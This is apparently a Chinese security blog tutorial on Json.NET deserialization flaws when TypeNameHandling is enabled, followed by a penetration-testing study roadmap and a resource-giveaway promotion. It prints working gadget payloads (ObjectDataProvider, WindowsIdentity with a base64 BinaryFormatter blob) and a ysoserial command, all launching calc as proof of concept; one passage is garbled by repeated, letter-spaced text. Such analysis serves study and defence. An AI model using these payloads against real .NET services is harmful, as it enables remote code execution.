**01 **Json.net简介
Json.net即Newtonsoft.Json,是.Net中开源的Json序列化和反序列化工具,官方地址:http://www.newtonsoft.com/json。
它虽然不是官方库,但凭借其优秀的性能获得了广大开发者的喜爱。
官网给出的性能比较:
**02 **Json.net的序列化和反序列化
首先定义一个person类,并添加一个execcmd的方法,它调用了Process.Start来执行cmd。
[Serializable]
public class Person
{
private static int TAG = 20;
private int _gender;
public string Name { set; get; }
public int Age { set; get; }
public void execcmd(string cmd)
{
Process.Start(cmd);
}
}
初始化并将其序列化输出:
var p = new Person()
{
Name = "m01n",
Age = 26
};
Console.WriteLine(JsonConvert.SerializeObject(p));
输出结果如下:
但这并不是我们想要的,添加以下代码:
Console.WriteLine(JsonConvert.SerializeObject(p, new JsonSerializerSettings { TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full, TypeNameHandling = TypeNameHandling.All }));
输出:
增加了type字段,第二个参数是设置序列化的配置,其中TypeNameHandling是我们需要重点关注的,官网给出了以下五种设置,默认设置为None,除了None之外,都会包含type字段。这也是漏洞产生的关键。
**03 **ObjectDataProvider攻击向量
在前面的《.NET反序列化利用链萌新入门——XmlSerializer》中有介绍过ObjectDataProvider,总结一下就是在实现
ObjectDataProvider对象时,不管是添加ObjectInstance,MethodName还是MethodParameters都会自动尝试执行目标函数。
Json.net直接序列化ObjectDataProvider实现的System.Diagnostics.Process会报错,但我们可以看一下ObjectDataProvider对象的Json序列化输出格式。
结果输出格式化之后如下:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"ObjectInstance": {
"$type": "ConsoleApp1.Program+Person, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",
"Name": "m01n",
"Age": 26
},
"MethodName": "execcmd",
"MethodParameters": {
"$type": "MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"$values": ["calc"]
},
"IsAsynchronous": false,
"IsInitialLoadEnabled": true,
"Data": null,
"Error": null
}
对比一下 .\ysoserial.exe -g ObjectDataProvider -f json.net -c calc 生成的payload结果:
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
首先是去除了一些不必要的字段,然后修改了MethodName为Start,同时将ObjectInstance和MethodParameters的 t y p e 分别设置为 P r o c e s s 和 A r r a y L i s t 相对应的程序集限定名,当然经测试, M e t h o d P a r a m e t e r s 的 type分别设置为Process和ArrayList相对应的程序集限定名,当然经测试,MethodParameters的 type分别设置为Process和ArrayList相对应的程序集限定名,当然经测试,MethodParameters的type不用改也可以成功。
关于程序集限定名,可以通过object.GetType().AssemblyQualifiedName或者typeof().AssemblyQualifiedName获取。最终成功执行命令。
**04 **攻击向量—WindowsIdentity和WindowsClaimsIdentity
WindowsIdentity
WindowsIdentity是一个表示Windows用户的类,可以获取认证用户的信息。
关于WindowsIdentity的详细介绍可以看官网:https://docs.microsoft.com/zh-
cn/dotnet/api/system.security.principal.windowsidentity?redirectedfrom=MSDN&view=net-6.0
WindowsIdentity继承自System.Security.Claims.ClaimsIdentity,并且实现了 ISerializable
接口。
跟进去发现ISerializable接口需要实现GetObjectData方法,GetObjectData方法的第一个参数为SerializationInfo类对象。
通过调用SerializationInfo类的AddValue方法可以在序列化对象时存储备用值,AddValue具有多个重载方法来指定序列化的信息。
ClaimsIdentity
ClaimsIdentity(声称标识)位于 System.Security.Claims 命名空间下。
Claim表示一个声明单元,它用来组成ClaimsIdentity。ClaimsIdentity表示一个证件,例如身份证,身份证上面的名字表示一个Claim,身份证号也表示一个Claim,所有这些Claim组成身份证,即ClaimsIdentity。一个人不止有一个能够表示身份的东西,还有驾驶证、户口本等等,这些都是一个一个的CLaimsIdentity。
ClaimsIdentity 类初始化方法有两个重载,并且通过前文介绍的 SerializationInfo 来传入数据,最后用 Deserialize
反序列化数据。
跟进Deserialize(),可以看到key设置为System.Security.ClaimsIdentity.actor或者System.Security.ClaimsIdentity.bootstrapContext,base64解码后会执行后面的binaryFormatter.Deserialize(),此方法已被证明是不安全的。
微软关于binaryFormatter.Deserialize的说明:
POC
至此我们可以构造出攻击链,如果使用 GetObjectData 类中的 AddValue
方法添加key:System.Security.ClaimsIdentity.bootstrapContext,value :
base64编码后的binaryFormatter.Deserialize的反序列化payload,最后实现
System.Security.Principal.WindowsIdentity.ISerializable 接口就能攻击成功。
构造如下方法:
传入binaryFormatter的反序列化payload并使用Json.net将其序列化。
得到如下结果:
{ "$type": "ConsoleApp1.Program+WindowsIdentityTest, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "System.Security.ClaimsIdentity.actor": "AAEAAAD/AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm*9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm*9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM*9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm*9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm*9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM*9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm*9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="}
将$type的值改为WindowsIdentity的完全限定名,即可得到完整payload。也可以直接使用ysoserial生成payload:
ysoserial使用的是System.Security.ClaimsIdentity.actor,测试证明System.Security.ClaimsIdentity.bootstrapContext同样可以触发命令执行,但这两个在触发命令执行后都会引发异常:
WindowsClaimsIdentity和WindowsIdentity是相同的原理,因为WindowsClaimsIdentity继承自WindowsIdentity。
**05 **总结
使用Json.net的项目,JsonSerializer的TypeNameHandling值只要不为None,即可能存在反序列化漏洞。ObjectDataProvider攻击向量在.net反序列化中会经常用到。
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】